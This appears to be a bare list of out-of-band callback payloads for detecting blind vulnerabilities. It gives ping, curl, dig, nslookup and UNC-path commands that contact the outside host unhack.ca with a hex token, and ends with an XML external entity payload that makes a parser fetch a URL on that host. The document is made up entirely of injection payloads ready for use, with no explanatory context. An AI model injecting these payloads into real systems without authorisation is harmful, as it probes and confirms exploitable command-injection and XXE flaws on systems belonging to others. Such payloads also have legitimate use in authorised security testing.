$ ping -c1 -p 0052d048620791ed66df14bd98705e00 unhack.ca
 

$ curl http://unhack.ca/p/52d048620791ed66df14bd98705e
 

$ dig 52d048620791ed66df14bd98705e @unhack.ca
 

$ dig 52d048620791ed66df14bd98705e.ns.unhack.ca
 

C:\> nslookup 52d048620791ed66df14bd98705e unhack.ca
 

C:\> type \\unhack.ca\52d048620791ed66df14bd98705e\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/52d048620791ed66df14bd98705e">]>
    <foo>&xxe;</foo>